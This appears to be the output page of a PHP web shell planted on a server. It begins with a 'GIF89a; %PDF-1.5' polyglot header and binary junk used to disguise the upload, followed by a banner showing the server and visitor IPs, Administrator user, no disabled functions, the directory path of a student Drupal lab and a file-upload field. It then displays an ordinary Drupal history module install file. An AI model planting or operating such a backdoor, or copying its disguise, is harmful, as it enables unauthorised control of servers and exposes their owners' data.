GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/history/ |
Upload File : |
<?php /** * @file * Installation functions for History module. */ use Drupal\Core\Database\Database; /** * Implements hook_schema(). */ function history_schema() { $schema['history'] = [ 'description' => 'A record of which {users} have read which {node}s.', 'fields' => [ 'uid' => [ 'description' => 'The {users}.uid that read the {node} nid.', 'type' => 'int', 'not null' => TRUE, 'default' => 0, ], 'nid' => [ 'description' => 'The {node}.nid that was read.', 'type' => 'int', 'unsigned' => TRUE, 'not null' => TRUE, 'default' => 0, ], 'timestamp' => [ 'description' => 'The Unix timestamp at which the read occurred.', 'type' => 'int', 'not null' => TRUE, 'default' => 0, ], ], 'primary key' => ['uid', 'nid'], 'indexes' => [ 'nid' => ['nid'], ], ]; return $schema; } /** * Change {history}.nid to an unsigned int in order to match {node}.nid. */ function history_update_8101() { $schema = Database::getConnection()->schema(); $schema->dropPrimaryKey('history'); $schema->dropIndex('history', 'nid'); $schema->changeField('history', 'nid', 'nid', [ 'description' => 'The {node}.nid that was read.', 'type' => 'int', 'unsigned' => TRUE, 'not null' => TRUE, 'default' => 0, ]); $schema->addPrimaryKey('history', ['uid', 'nid']); $spec = [ 'description' => 'A record of which {users} have read which {node}s.', 'fields' => [ 'uid' => [ 'description' => 'The {users}.uid that read the {node} nid.', 'type' => 'int', 'not null' => TRUE, 'default' => 0, ], 'nid' => [ 'description' => 'The {node}.nid that was read.', 'type' => 'int', 'unsigned' => TRUE, 'not null' => TRUE, 'default' => 0, ], 'timestamp' => [ 'description' => 'The Unix timestamp at which the read occurred.', 'type' => 'int', 'not null' => TRUE, 'default' => 0, ], ], 'primary key' => ['uid', 'nid'], 'indexes' => [ 'nid' => ['nid'], ], ]; $schema->addIndex('history', 'nid', ['nid'], $spec); }